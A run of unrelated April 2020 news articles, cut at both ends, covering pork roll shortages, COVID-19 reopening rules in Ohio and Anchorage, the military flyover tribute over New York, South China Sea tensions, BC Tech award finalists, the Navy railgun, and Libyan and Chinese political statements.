month or so. Its been crazy,' Battisti-Goldstein said. What exactly is in Taylor ham or Case pork roll? You wont get that information from Taylor Provisions or Case, both highly-secretive, extremely low-profile businesses. Emails and phone calls to both companies were not returned. For the uninitiated, all Taylor ham is pork roll; not all pork roll is Taylor ham. Taylor ham is a brand, but the overwhelming majority of North Jerseyans call all pork roll Taylor ham, whether its Taylor ham or not. Battisti-Goldstein revealed the basic ingredients in her Johnston House Brand. "Pure pork butt. The finest spices. We dont use any crap, no tongue, no nothing. We dont put in any fillers at all.'' "We have the pork roll with personality,'' she added, laughing. Robbie Battisti-Goldstein, co-owner, the Pork Roll Store, Upper Freehold (Peter Genovese I NJ Advance Media for NJ.com) Yarusi, of Johnnys Pork Roll, is down to about 24 pounds of pork roll, and he has immediate worries about his supply. "The thing thats spooking me is I have to make 100 sandwiches for Riverview Medical Center (Red Bank) on Thursday,'' he said of an order donated by local residents. Hes hoping those 24 pounds will be enough for restaurant orders this week, and the hospital drop-off. Battisti-Goldstein, an ever-upbeat type known as 'The Pork Roll Princess,'' admits to being "paranoid'' about pork supply, but shes not too worried about the impending shortages. As of now, anyway. "I believe this is going to pass,'' she said. "If you can make it through the Depression, you can make it through anything.'' She laughed. "Im not a quitter. Im going for the gold.'' Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription. Peter Genovese may be reached at email@njadvancemedia.com. Washington/Seoul, April 28 : US President Donald Trump said that he knew how North Korean leader Kim Jong-un was doing amid rising speculation that he may be gravely ill, but refused to offer any other details, saying "can't talk about it", the media reported on Tuesday. "I do have a very good idea, but I can't talk about it now. I just wish him well. I've had a very good relationship with Kim Jong-un," the Seoul-based Yonhap News Agency quoted Trump as saying during a White House press conference on Monday. "I hope he's fine. I do know how he's doing, relatively speaking. You will probably be hearing in the not too distant future," he said. But Trump later added: "Nobody knows where he is." On April 21, Trump had said that the US didn't know if the reports about Kim's failing health were true. Two days later, he said he believed the report by CNN was "incorrect", which had cited a US official as saying that Washington was looking into intelligence that Kim was in "grave danger" after surgery. Kim has been out of public view since April 11 when he presided over a politburo meeting of the ruling Workers' Party, said the Yonhap News Agency report. His absence from an April 15 commemoration of the birthday of his late grandfather, North Korea founder Kim Il-sung, sparked speculation that there may be something wrong with his health. South Korean officials have insisted that there was nothing unusual happening inside the regime. Trump and Kim Jong-un have met three times since June 2018 to try to reach a deal on denuclearizing North Korea in exchange for US sanctions relief. But negotiations have faltered since their second summit in Vietnam in February 2019 ended without a deal due to differences over the scope of their actions. Last month Trump sent a letter to the North Korean leader to offer US assistance with COVID-19. North Korea has at least publicly not accepted the offer while insisting it has no cases of the coronavirus in the country. -- The story has been published from a wire feed without any modifications to the text Ohio Gov. Mike DeWine has lifted his mandate for customers to wear masks at retail stores. The Ohio governor said Monday that masks will be required for both customers and employees inside of the states retails stores. But one day later, the governor said that is no longer the case. There will have to be adjustments as we go, DeWine said Tuesday. Within the last 24 hours, it has become clear to me that a mandatory mask requirement for retail customers is offensive to some of our fellow Ohioans. I understand that. We've heard you. We will not mandate that retail customers wear a mask. But we strongly recommend that you do, he added. Although it is no longer a mandate, the governor said it is in the best interest of Ohioans to wear masks in retail settings. This gives added protection to others. When you wear a mask, you are protecting those around you from possibly getting sick, DeWine said. When I go out in public and go into a business, I will wear a mask. And, I have recommended to my family members that they wear masks. Video: If your face mask hurts your ears, try these genius hacks to prevent irritation Masks were a key part of the governors plan to reopen the state, which was laid out on Monday. The governor said the initial mask mandate was a recommendation from the states business task force in an effort to keep employees safe at area stores. However, even though it is not mandated by the state, DeWine said business owners can require customers to wear masks in their stores. "The recommendation that masks be worn came from business owners to protect employees. They can make a decision that those coming in the door need to wear a protective covering," the governor said. In addition to the now-defunct mask mandate, the governor issued four other mandatory protocols for Ohio businesses. Those mandates which are still in place include: Conduct daily health assessments by employers and employees (self-evaluated) to determine if fit for duty." Maintain good hygiene at all times hand-washing and social distancing. Clean and sanitize workplaces through workday and at the close of business or between shifts. Limit capacity to meet social distancing guidelines. Establish maximum capacity at 50% of fire code, and use appointment setting where possible to limit congestion. All of these mandates are necessary for Ohio businesses to reopen amid the coronavirus pandemic. However, only certain businesses are required to do so. The state will begin to reopen on May 1 with health care procedures. Manufacturing, distribution, construction and general business environments will follow on May 4, and all retailers can resume business on May 12. Reopening dates for other businesses including restaurants, gyms, bars and hair salons were not provided, as the governor said additional monitoring needs to be done. Advertisement Crowds of people ignored social distancing rules to watch the Thunderbirds and Blue Angels soar over New York City's skies Tuesday. Pilots from the US Navy teamed up with the Air Force for the dazzling display over the Big Apple at around noon local time to pay tribute to the healthcare workers fighting COVID-19 on the frontlines. The Blue Angels had earlier issued a warning, telling people to 'refrain from traveling to see the flyover', tweeting: 'Residents should observe the flyover from the safety of their home-quarantine. Social distancing should be practiced at all times. Stay home and stay safe!' But pictures show residents in New Jersey and New York ignored the warnings, with huge crowds gathered to watch the flyover in both states. In an earlier statement the Air Force and Navy had said they partnered with local governments and media outlets to 'help ensure spectators follow Centers for Disease Control and Prevention social distancing guidelines'. The Thunderbirds said the flyover would be 'a show of national solidarity' and 'collaborative salute from the Navy and Air Force to recognize healthcare workers, first responders, and other essential personnel while standing in solidarity with all Americans during the COVID-19 pandemic'. The group then refueled before heading to Trenton, New Jersey and Philadelphia for 2pm. Tuesday's flight is part of a a series of multi-city flyovers over the next two weeks, they said. New Jersey: Hundreds of people in New Jersey on Tuesday ignored social distancing rules to watch the Thunderbirds and Blue Angels soar over New York City's skies in a tribute to the healthcare workers fighting COVID-19 on the frontlines New Jersey: Pilots from the US Navy teamed up with the Air Force for the dazzling display over the Big Apple at around noon local time to pay tribute to the healthcare workers fighting COVID-19 on the frontlines The USN Blue Angels and the USAF Thunderbirds fly over the Statue of Liberty to pay tribute to COVID-19 frontline workers Navy Blue Angels and Air Force Thunderbirds demonstration teams participate in flyover over the Empire State building New Jersey: The Blue Angels had earlier issued a warning, telling people to 'refrain from traveling to see the flyover', tweeting: 'Residents should observe the flyover from the safety of their home-quarantine. Stay home and stay safe!' The U.S. Navy's Blue Angels and the Air Force's Thunderbirds pay tribute to essential workers fighting against the Coronavirus Blue Angels and Thunderbirds NYC flyover tribute Footage posted online shows the pilots - in themed face coverings - making their way to their jets. Under the wings of each plane a sign read: 'In This Together.' Stunning pictures show the 12 jets soaring past the Empire State building and the Statue of Liberty in Manhattan. 'We're excited to fly over cities across America as our way of saying thanks to the healthcare workers, first responders, and all the people who selflessly run into the breach working to keep America strong,' said Gen. Dave Goldfein, Chief of Staff of the Air Force, and Adm. Michael Gilday, Chief of Naval Operations. 'This is also our way of showing that we are all in this together and that America's spirit will prevail.' Pictures show the 12 jets soaring over Manhattan: The Thunderbirds and Blue Angels took the skies Tuesday in a show of national unity with healthcare workers on the COVID-19 frontlines NYC: People at Domino Park watch the Thunderbirds and Blue Angels take to the skies. Residents had been told to stay home Domino Park, Brooklyn, NYC: Pilots from the US Navy joined forces with the Air Force for a dazzling display over New York City NYC: Both flying teams have been forced to cancel performance as a result of the COVID-19 outbreak NYC: Clear skies made the flyover picture perfect but also encouraged thousands to leave their homes to witness it U.S. Navy Blue Angels and U.S. Air Force Thunderbirds demonstration teams fly over Manhattan bridge as part of the 'America Strong' tour of U.S. cities to honor first responders and essential workers during the outbreak of the coronavirus disease U.S. Navy Blue Angels and U.S. Air Force Thunderbirds demonstration teams participate in a midday flyover of New York City The US Navy Blue Angels and US Air Force Thunderbirds honor first responders by flying over the Brooklyn Bridge Six Thunderbirds U.S. Airforce and six Blue Angles Navy jets fly over NYC as a salute to frontline COVID-19 responders Mission commander U.S. Air Force Lt. Col. John Caldwell said: 'We hope to give Americans a touching display of American resolve that honors those serving on the frontline of our fight with COVID-19. 'We are truly excited to take to the skies with our Navy counterparts for a nationwide tribute to the men and women keeping our communities safe.' Blue Angels commanding officer Cmdr. Brian Kesselring said: 'We are incredibly honored to have the opportunity to salute those working on the frontline of the COVID-19 response, we are in awe of your strength and resilience. 'Thank you to all of those in essential industries keeping our nation moving forward. We will get through this. We are all in this together.' The number of confirmed U.S. coronavirus cases has passed one million; the death toll is 58,059. Some states have eased restrictions aimed at fighting the pandemic battering the economy. New York Gov. Andrew Cuomo on Tuesday revealed his 12-step plan to reopening state which includes keeping hospital capacity beneath 70 percent and seeing solid two-week declines in coronavirus cases in the areas he will restart but said it would take a 'miracle' for New York City to reach the requirements in the next few weeks. Cuomo's lockdown officially ends on May 15 but he said on Monday he would extend it for some regions of the state where the data suggests there is still a problem. In upstate New York, the infection rate is believed to be as low as three percent whereas in New York City, it is nearly 25 percent, according to an antibody study the state is carrying out. The first step of the plan is to ensure that the region being reopened has seen declining coronavirus cases for 14 days. New York City is a long way front that benchmark. NYC: Healthcare workers from the NYU Langone Medical Center watch as the U.S. Navy Blue Angels and U.S. Air Force Thunderbirds demonstration teams participate in a midday flyover NYC: The flyover was part of the 'America Strong' tour of U.S. cities to honour first responders and essential workers NYC: NYU Langone Medical Center workers take pictures as the 12 jets fly over New York City Domino Park, NYC: In a earlier statement the Air Force and Navy had said they have partnered with local governments and media outlets to 'help ensure spectators follow Centers for Disease Control and Prevention social distancing guidelines' New Jersey: Tuesday's flight is part of a a series of multi-city flyovers over the next two weeks Newport, New Jersey: Residents watch U.S. Navy Blue Angels and the U.S. Airforce Thunderbirds fly along the Hudson River Newport, New Jersey: Donald Trump said earlier this month that the two prominent aerobatics teams 'will be performing air shows over America's cities,' and in some places that 'aren't major cities,' he added, in a salute to the country's frontline workers who have been combating the coronavirus pandemic Brooklyn Bridge Park, New York: The Blue Angels are based at Naval Air Station Pensacola, Florida, and Thunderbirds, based at Nellis Air Force Base, Las Vegas. Pilots typically fly at more than 30 air shows each year The Thunderbirds and Blue Angels before taking to the skies Tuesday in a show of national unity with healthcare workers Pilots from the US Navy joined forces with the Air Force for a dazzling display over New York, Philadelphia and New Jersey In a statement the Thunderbirds said the flyover would be 'a show of national solidarity' and 'collaborative salute from the Navy and Air Force to recognize healthcare workers, first responders, and other essential personnel while standing in solidarity with all Americans during the COVID-19 pandemic' The two demonstration teams will fly over areas of the country hardest hit by COVID-19, as both joint and individual team flights occurring every one-to-two days until mid-May. It is understood six F-18C/D Hornets from the Blue Angels and six F-16C/D Fighting Falcons from the Thunderbirds will take to the skies. Donald Trump said earlier this month that the two prominent aerobatics teams 'will be performing air shows over America's cities,' and in some places that 'aren't major cities,' he added, in a salute to the country's frontline workers who have been combating the coronavirus pandemic. 'This is a tribute to them, our warriors,' the president said. Philadelphia, Pennsylvania:The Navy Blue Angels and Air Force Thunderbirds fly over downtown Philadelphia on Tuesday Philadelphia, Pennsylvania: Healthcare workers react as they watch the flyover on Tuesday afternoon Philadelphia: The 12 jets later headed to Philadelphia for 2pm. The two demonstration teams will fly over areas of the country hardest hit by COVID-19, as both joint and individual team flights occurring every one-to-two days until mid-May Philadelphia: 'This is a tribute to them, our warriors,' the president said of the flyovers dedicated to frontline workers Brooklyn Heights Promenade: A formation of US Navy Blue Angels and US Air Force Thunderbirds honor first responders on the front lines of the coronavirus pandemic by flying over New York Brooklyn Heights Promenade: NYC residents left their homes to see the display despite being told not to It is understood six F-16C/D Fighting Falcons from the Thunderbirds took to the skies It is understood six F-18C/D Hornets from the Blue Angels took to the skies. Newport, New Jersey: Onlookers watch from New Jersey as the jets fly over Manhattan and the Hudson River A formation of US Navy Blue Angels and US Air Force Thunderbirds honor first responders on the front lines of the coronavirus pandemic by flying over New York, as viewed from Brooklyn Heights Promenade They add: 'Both teams are also implementing various measures to maintain personnel and community safety. This includes air-to-air refueling during transit and no scheduled stops en route to reduce potential exposure to the virus.' The Blue Angels are based at Naval Air Station Pensacola, Florida, and Thunderbirds, based at Nellis Air Force Base, Las Vegas. Pilots typically fly at more than 30 air shows each year to demonstrate American military aviation. Both teams have been forced to cancel performance as a result of the COVID-19 outbreak; the flyovers will incur no additional cost to taxpayers. The U.S. warship USS Bunker Hill moves into position to conduct a joint training with the Australian frigate HMAS Parramatta in the South China Sea, April 14, 2020. The Philippines defense chief on Tuesday downplayed Beijings latest aggressive move in the South China Sea, saying it appeared that Chinese sailors had no real intention of hurting Filipinos when they pointed a laser gun at a Philippine navy ship. Although the Chinese move was seen as aggressive, it likely was meant to enforce their presence in the disputed sea region, which is claimed by China, the Philippines and other countries, Defense Secretary Delfin Lorenzana said. I dont think they have an intention to harm our men with this latest incident of pointing a laser gun, Lorenzana said on state-run television. Maybe they are testing what our reaction will be. And we have already filed a protest to the Chinese government. But its offensive. Why do they need to aim their target acquisition radars on our airplanes and ships? he said. According to Lorenzana, the Chinese were challenging the Philippine ship by saying You are traversing Chinese territory. But our ships and airplanes say: We are traveling within our EEZ or within Philippine territory, so its only an exchange of messages, the defense secretary added, referring to waters in Manilas exclusive economic zone. Lorenzana issued the statement several days after the Philippine foreign office said it had filed a diplomatic protest with China for pointing a radar gun at a Philippine Navy ship in the EEZ. Manila took that action on April 22, the same day it filed a separate diplomatic note to protest Beijings declaration of parts of the disputed sea as Chinese districts. In the incident with the laser gun, the Philippine ship BRP Conrado Yap was on its way to the Rizal Reef Detachment in the South China Sea when it reported that it had detected a radar contact of a gray-colored vessel. Lorenzana said the Chinese had used a target-acquisition laser meant to guide a missile toward an enemy target. Its like when they will use their missile they will first strike on the target that they have already marked, Lorenzana said. The incident was the latest accusation that Chinese forces had used lasers to harass other nations naval personnel. In February this year, the U.S. Navy accused a Chinese naval destroyer of firing off a laser beam at a U.S. surveillance aircraft flying west of Guam and over the Philippine Sea, which lies far to the north and east of the South China Sea. A statement from U.S. Pacific Fleet said the laser, which was detected by sensors on the P-8A Poseidon aircraft on Feb. 17, was not visible to the naked eye. The U.S. Navy described the Chinese move as an act deemed unsafe and a violation of international codes and agreements. Chinas defense ministry, however, refuted the U.S. claim. Ministry spokesman Ren Guoqiang told reporters in Beijing last month that Chinese ships were conducting routine exercises in international waters when the incident allegedly happened. He accused the P-8A Poseidon aircraft of carrying out an unfriendly behavior, including long periods of low-altitude reconnaissance despite repeated warnings from the Chinese side. Sending a message to China The Chinese moves in the sea that drew the diplomatic protests from Manila occurred as the Philippines and other Southeast Asian nation were busy with curtailing the spread of the coronavirus in their territories. A Filipino maritime expert, Jay Batongbacal, said China was taking advantage of its medical assistance to help Southeast Asian nations battle the pandemic to prevent a pushback in the maritime region. One could argue that [Beijing] is using this cooperation as a way to leverage against any actions or protests against China for its activities in the West Philippine Sea, Batongbacal, told local television ANC on Monday, using the Philippine name for the South China Sea. This is taking place simultaneously with their medical aid and assistance and offers of cooperation on this pandemic, said Batongbacal, director of the University of the Philippines Institute for Maritime Affairs and Law of the Sea. On Monday, retired Philippine Supreme Court judge Antonio Carpio told foreign correspondents in Manila that the Philippines should join forces with neighbors Vietnam and Malaysia, and possibly other countries, in conducting joint patrols to deter further Chinese aggression in the South China Sea. Doing so, he said, would send a message that China cannot pick us out one by one. But Presidential spokesman Harry Roque said the government did not agree with Carpio, although he acknowledged that the former justices suggestion of joint patrols with neighbors appeared to be sound. Suggestion well-taken, although we do not agree with the personal opinions of Justice Carpio on what China is doing. But the suggestion on joint patrol is well-taken, it will be considered, Roque told reporters on Tuesday, as he reiterated that the government would assert territorial sovereignty against China. We do not agree with that conclusion, although the current policy is that we will defend all our national territory and our sovereign rights, he said. US sends combat ship to sea region Meanwhile, the USS Gabrielle Giffords, a littoral combat ship, left port in Singapore for the South China Sea on April 25 and sailed near the site of a survey being conducted by the Chinese vessel Hai Yang Di Zhi 8, according to vessel-tracking software. The presence of the USS Gabrielle Giffords in the disputed sea region was confirmed by the U.S. Indo-Pacific Command in a news release. As of Tuesday, the Hai Yang Di Zhi 8, a survey ship at the heart of current tensions in the South China Sea, was operating in waters jointly claimed by Vietnam and Malaysia. It has been escorted by Chinese coast guard ships. The USS Gabrielle Giffords joins the USS America, USS Bunker Hill, and USS Barry in demonstrating the American naval presence in the South China Sea. They were recently joined last week by Australian frigate HMAS Parramatta in a joint exercise. The KD Kelantan, a Royal Malaysian Navy warship, has also been patrolling the area. On Tuesday, Beijing sent an aircraft battle group through the Miyako Strait, between Japan and Taiwan, according to a news release from the Japanese defense ministry. The release said Chinas aircraft carrier Liaoning was spotted moving with two frigates, two destroyers and a high-speed support ship toward the East China Sea. Meanwhile, the Peoples Liberation Army-Navy Southern Theater released a statement on Tuesday accusing the USS Barry of violating Chinas territory in the Paracel Islands. China claims most of the South China Sea on historical grounds, including areas that reach the shores of its smaller neighbors. Apart from the Philippines, Vietnam, Malaysia, Brunei and Taiwan also have overlapping claims over the region. [April 28, 2020] BC Tech unveils finalists for 2020 Technology Impact Awards VANCOUVER, April 28, 2020 /CNW/ - With British Columbia's tech community uniting like never before amid the COVID-19 pandemic, the BC Tech Association (BC Tech) is especially proud to announce the finalists for the 2020 Technology Impact Awards (TIAs). "Seeing the community come together to support one another during these challenging times has given new meaning to our annual celebration of the change makers, the up-and-comers, the innovators and the bold," said Jill Tipping, BC Tech President and CEO. "It is incredibly rewarding to see such grit, kindness and compassion as we work to make B.C. the best place to grow and scale a tech company and advance technology adoption in every industry." This afternoon, Tipping joined Riaz Meghji, Founder of Every Conversation Counts, in announcing the finalists live via Zoom. A video recording and photos of the celebration are available here . "I'm proud to be involved in the TIAs again this year as a Co-Host, especially given the compelling theme," Meghji said. "The main purpose of technology is to solve problems, and there's never been a better time for that purpose than today." This year, the theme of the province's largest and longest-running tech awards program is "Purpose," which is particularly fitting given the extensive work being done by the BC Tech Community to combat COVID-19. The new "Spirit of BC Tech Purpose" award celebrates those companies who put purpose first, tackling important global problems with innovative solutions. "The technology sector contributes to British Columbia's continued economic success, while producing innovative results that make a difference in people's lives," said Minister of Citizens' Services Anne Kang. "Our province's talented tech professionals work hard every day to turn big dreams into new realities for citizens, and the Technology Impact Awards are one way we can celebrate the best and brightest in B.C." "B.C.'s tech sector is built on the strength, perseverance and passion of tech trailblazers," said Rick Glumac, Parliamentary Secretary for Technology. "I continue to be impressed by the caliber of people driving our tech sector forward and delivering solutions that help make lives better for people throughout British Columbia and around the world." On the virtual announcement Tipping singled out the partners and sponsors that make the TIAs possible every year for a special thanks. "The TIAs is the biggest fundraising event of the year for BC Tech. The funds raised are essential to support the programs and activities we deliver to help tech companies grow, scale and export," said Tipping. TIAs sponsors include Platinum Sponsors CIBC and Telus, and Gold Sponsors Finning Digital and KPMG, as well as award sponsors Accenture, BDC, Clio, EY, MDA, Microsoft, Osler, PwC, Safe Software, and SAP. The TIAs finalist announcement was sponsored by Harbour Air, which in December announced the successful flight of the world's first all-electric commercial aircraft. Other partners that contribute to the success of the TIAs include Business in Vancouver, Digital Technology Supercluster, Gowling, Low Tide Properties, Lyft, MNP and Switchboard PR. The 2020 Technology Impact Award Finalists are: Company of the Year - Startup Success: The 2020 Company of the Year - Startup Success award is presented in partnership with Microsoft. Company of the Year - Growth Success: The 2020 Company of the Year - Growth Success award is presented in partnership with Osler. Excellence in Global Export: Excellence in Technology Innovation: The 2020 Excellence in Technology Innovation award is presented in partnership with MDA. Excellence in Technology Adoption: The 2020 Excellence in Technology Adoption award is presented in partnership with Accenture. Company of the Year - Scale Success: The 2020 Company of the Year - Scale Success award is presented in partnership with Clio. Company of the Year - Anchor Success: The 2020 Company of the Year - Anchor Success award is presented in partnership with EY. Spirit of BC Tech - Purpose: The 2020 Spirit of BC Tech - Purpose award is presented in partnership with Safe Software. GameChanger - Diversity & Inclusion: The 2020 GameChanger - Diversity & Inclusion award is presented in partnership with PWC. Tech Culture of the Year: The 2020 Tech Culture of the Year award is presented in partnership with SAP. Person of the Year: Catherine Dahl Jack Newton Josh Nilson Ryan Peterson The 2020 Person of the Year award is presented in partnership with BDC. About the BC Tech Association Making B.C. the best place to grow and scale a tech company has been the mission of the BC Tech Association since 1993. While our members focus on growing their businesses, BC Tech has been providing opportunities for our industry members to collaborate, learn, and grow together. We are dedicated to connecting companies, developing talent, and advocating so our industry and our province thrive. To learn more visit www.wearebctech.com . Media Contact Kathleen Reid T: 604-724-1242 E: [email protected] SOURCE BC Tech Association Throughout New York Citys COVID-19 crisis, New York City Mayor Bill de Blasio has refused to listen to public experts and allowed politics to influence his decision making. On Sunday, in a bid to prove his critics right, he appointed first lady Chirlane McCray to co-chair the citys new racial inequality coronavirus task force. The goal of the task force is to ensure that the citys communities that have been hardest-hit by the pandemic, as well as minority and women-owned businesses, receive the help they need to recover from this disaster. McCrays appointment to the task force, however, strikes some members of the City Council as inappropriate, even unethical. Some might even say de Blasio is continuing to put his familys political interests ahead of his citys needs. A former speechwriter and public relations executive, the first lady is not an expert on public health, infectious diseases, pandemics, business management or management of anything at all. McCray is best known for leading the helm at Thrive NYC, the citys billion-dollar mental health initiative that has been criticized by the City councilmembers and New York City Comptroller Scott Stringer for spending vast sums with no demonstrated results. The city is also home to some of the worlds premier public health experts, so what makes McCray the ideal candidate for any kind of coronavirus task force? De Blasio has made many decisions during the citys outbreak based on his own personal or political interests, particularly when it has come to following the advice of the citys Department of Health and Mental Hygiene. The mayor is known to have a contentious relationship with the department and as a result he ended up dismissing much of their advice at the onset of the outbreak, The New Yorker reported. He ignored the departments proposals to combat the virus in early March, initially encouraging New Yorkers to go on about their daily lives and even to go out on the town and refused to anonymize nasal swab tests so they could be used to estimate the virus spread. Dan Kass (the citys former deputy commissioner of environmental health) is one of the best environmental-health experts in the country, Mary Bassett, the former commissioner of the citys Department of Health and Mental Hygiene, told The New Yorker. New York has one of the best health departments in the United States, possibly the world. Wed all be better off if we were listening really closely to them right now. This refusal to listen to experts has even extended to de Blasio and McCrays stubborn insistence on driving 22 miles round trip to Prospect Park for their walks. Some city lawmakers have speculated that the move was purely political, since McCray is currently eying the Brooklyn Borough presidency. This is political. I wish de Blasio would stop doing this, City Councilman Robert Holden told the New York Post. Let her win the Brooklyn borough presidency on her own merits. Councilman Anthonio Reynoso, who is running for Brooklyn borough president, remarked that McCrays appointment to the taskforce reeks of nepotism and cronyism. Theres always a bit of a split between the political appointees, whose jobs are to make a mayor look good, and public-health professionals, who sometimes have to make unpopular recommendations, an anonymous former head of the citys Department of Health told The New Yorker. But, with the de Blasio people, that antagonism is ten times worse. They are so much more impossible to work with than other administrations. ANCHORAGE, Alaska - The first signs of activity returned to Alaskas largest city Monday as businesses slowly began reopening following closures because of the coronavirus. Well, thank God the beauty parlours are open, Anchorage resident Cyndi Otto said while walking with her granddaughter near Earthquake Park. Personal care services, like barber shops and nail and hair salons, were allowed to reopen Monday, as were restaurants. However, all are operating under strict guidelines intended to guard against spreading the virus. The state allowed businesses to begin reopening last Friday, but Anchorage waited to allow businesses to get employees back and for some, to decide whether it makes sense to open yet. Gov. Mike Dunleavy said the state was working with communities. Anchorages initial reopening phase tracked largely with that of the states. There is hope, there is a future, Anchorage Mayor Ethan Berkowitz said Friday in unveiling the criteria local businesses must follow. We have taken a punch, and were getting back up. But dont expect the hustle-and-bustle that Anchorage exhibited in February before the mandates restricting or closing businesses took hold or even in November, before winter set in. Instead, only a few businesses were open. From mom and pop diners to the swankiest eateries atop downtown hotels, all restaurants will require reservations or some other type of check-in for limited dine-in service. Wait lists are likely. Regulations limit restaurants to 25% capacity, with more than enough elbow room. Tables must be spaced 10 feet apart, and only household members can sit at a table. Eateries can continue offering takeout service, as many already were doing when dine-in service was barred. Simon Newall, who co-owns Sweet Basil Cafe with his wife Tanya, was ready for customers Monday morning. According to the mandates set by the governor and the city, we have our tables separated. We have a mask ready to talk to our customers, we can still do our take-outs and the in-house dining, as long as we meet the rules, he said. I think the city and state have done a great job throughout this entire thing, Newall added. Its just a matter of, lets keep on going. Keep safe, and lets feed everybody. Restaurants will also have to do a little paperwork on their customers. A log with every customers first and last name and contact phone number must be maintained by the restaurant and kept for 30 days in case its needed for contact tracing. Thats a step not required by the state rules but one required by the city. All employees must wear fabric face masks, and customers are encouraged to wear them unless eating. Barber shops, hair salons and other personal care services must begin taking reservations and not allow walk-in service. No waiting rooms are allowed. Only one customer per stylist or technician is allowed in, and work stations must be 10 feet apart. Each stylist must wear a surgical mask, which cannot be reused, and customers must wear cloth face coverings. Larry Love, the manager at Hair Doctors, was happy to be back to work as bills were piling up. But his customers might be even happier. They dont even mind the health regulations as long as theyre getting a haircut, he said after giving an airman a high-and-tight military haircut. Theyre feeling a lot better and feeling good about themselves. Otto, a lifelong Alaskan who lived through the 1964 earthquake, said she felt the measures put in place by government were a bit Draconian. We are in the great state of Alaska, where theres a thousand acres per individual. Theres no reason for us to be hunkered down in our homes after weve been hunkered down in our homes since November, she said. Photo credit: U.S. Navy photo by John F. Williams/DVIDS From Popular Mechanics The U.S. Navy has spent $500 million developing a working railgun. Now that the weapon works, there are no plans to make it an operational weapon system. The service is instead pushing a new hypervelocity projectile it can fire from existing guns. The U.S. Navys $500 million electromagnetic railguncapable of slinging projectiles at hypersonic speedslacks funding and has no coherent plan to deploy on warships. The Navy is instead pursuing an offshoot of the railgun, a hypervelocity projectile it can fire from existing gun systems. Photo credit: John Williams/DVIDS The electromagnetic railgun (EMRG) is a weapon that uses electricity instead of gunpowder to send projectiles downrange. Railguns use magnetic fields created by high electrical currents to accelerate a projectile to Mach 6, or 5,400 miles an hour. The velocity is sufficient to give the EMRG an effective range of 110 nautical miles, or 126 miles on land. The Office of Naval Research began development of the gun in 2005, and by 2012 a technology demonstrator was firing projectiles at Naval Surface Warfare Center Dahlgren Division in Virginia. In 2015, the program was apparently doing so well the Navy announced plans to test the weapon from the USNS Trenton, an Expeditionary Fast Transport. In 2017, the Navy released a video of the Dahlgren gun firing multi-shot salvos. In the years since EMRG, rather than picking up even more steam (or megajoules), has seemingly slowed down to nothing. The service requested just $9.5 million in the 2021 defense budget for railgun-based research and moved the gun to White Sands Missile Range in New Mexico, where it continues to undergo launch testing. Task and Purpose reports the railgun is technically complete, but the service is also developing a technological offshoot, the hypervelocity projectile (HVP). The HVP is the same projectile developed for the EMRG but modified to fire from traditional gunpowder-based guns. The HVP is designed to fit in the U.S. Navys 127-millimeter deck guns. The projectile has a top speed of Mach 3 from a chemical energy gunonly half the speed as from an EMRGbut still an improvement over current 127-millimeter projectiles. The Navy believes the HVP could be used for long-range strike missions against land targets, against aircraft and missiles, and against enemy warships. The guided-missile destroyer USS Dewey fired 20 HVP projectiles during the 2018 RIMPAC naval exercises , the first known use of the new weapons at sea. Story continues One huge advantage HVP has over the railgun: there are already more than a hundred HVP launchers in service. The Navy has approximately 120 Mk. 45 guns in operation, two on each Ticonderoga-class guided missile cruiser and one each on the Arleigh Burke-class guided missile destroyers. Deploying HVP to the fleet will give these ships increased capabilities, which is a lot cheaper than building new ships with railguns. The technology is also available for larger 155-millimeter projectiles, potentially giving the two Advanced Gun Systems on the Zumwalt-class warships ammunition for engaging enemy targets. A new warship, the large surface combatant, is scheduled to eventually replace the Ticonderoga-class cruisers. The Navy plans to buy the first of these ships in the late 2020s . The Navy is tight-lipped about what new technologies will be fitted to the large surface combatant. Members of Congress, Task & Purpose reports, are pushing the service to add the railgun to the list. Photo credit: John F. Williams Integrating the new hypervelocity projectile with the fleet while equipping the next generation surface warship with the railgun is a best of both worlds solution. HVP, once fully developed, could become a key weapon system of the fleet today while the electromagnetic railgun could become a key weapon system of the fleet tomorrow. The U.S. isnt the only country working on electromagnetic railguns. In 2018, a railgun prototype was sighted on the bow of the Chinese Navy landing craft Haiyangshan. Haiyangshan, aka the Yangtze Sea Monster, is indeed sporting a railgun but we dont know how effective the weapon is, how close to operational status it is, and if the railgun has even been fired yet. Source: Task & Purpose You Might Also Like Libya: Tripoli says Haftar's declaration was expected Invites parliament in east to come to Tripoli (ANSAmed) - TUNIS, APRIL 28 - The internationally recognized Libyan government in Tripoli, following General Khalifa Haftar's declaration that he has "accepted the mandate of the Libyan people to manage the country", said in a statement on its official Facebook page that Haftar's move was an expected one, given the failure of his attempt to take over the capital city. The Libyan government of national accord (GNA) is inviting MPs in the country's parliament in the east to join the forty or so of their colleagues in Tripoli, who have already been there for more than a year. It is also calling on the Libyan people to unite with the government of national accord. "What the war criminal announced isn't a coup against the political accord and all the political bodies in the country, but rather a move that we were expecting, to cover the defeat of his militias and his terrorist mercenaries," the GNA said in the statement. "His tyrannical project to acquire power failed, his failed adventure has produced only killings, wounded, and the exodus of hundreds of thousands of people, as well as the destruction of many of the nation's riches," it said. "The rebel Haftar also revolted against the parallel political bodies (the Tobruk parliament, ed.) that had once legitimised him, so that no one or no country can further doubt his legitimacy," it said. "His announcement confirms to everyone the need to defeat his state project, to definitively eliminate the illusion that he has taken power, bringing our country back to the judgment of the individual and the family, putting Libyans' hope back in the building of the civil democratic state, the forces of the Libyan Army, and support forces," it said. "In this perspective, we invite all members of the eastern parliament to join their colleagues already in Tripoli, to start a complete dialogue so that the democratic process can continue to a complete and permanent solution through elections. On this occasion, we are also extending our hands to all of our children tempted by this project and their relatives, above all in the east, who now clearly recognise the aggressor's intentions, seeking power for himself and his children at the expense of their blood and their souls, and we invite them to lay down their arms," it said.(ANSAmed). Photo taken on April 22, 2020 shows the U.S. Capitol building in Washington D.C., the United States. (Xinhua/Liu Jie) At a time when the international community must join hands to deal with the coronavirus, the U.S. top diplomat has dedicated himself to smearing China's anti-virus fight, advocating confrontational lenses to view China's institutional system and attempting to counter China's efforts to help other nations. BEIJING, April 27 (Xinhua) -- The U.S. Republicans have not made public comments on the media report of a leaked memo which urges candidates to address the COVID-19 pandemic by attacking China. The silence is in sharp contrast to the overheated anti-China rhetoric some White House politicians, as represented by Secretary of State Mike Pompeo, have been making ever since the outbreak. At a time when the international community must join hands to deal with the coronavirus, the U.S. top diplomat has dedicated himself to smearing China's anti-virus fight, advocating confrontational lenses to view China's institutional system and attempting to counter China's efforts to help other nations. However, he welcomed China's provision of essential medical supplies. Such actions are more fitting to the title of "secretary of separation." Pompeo and his allies of the 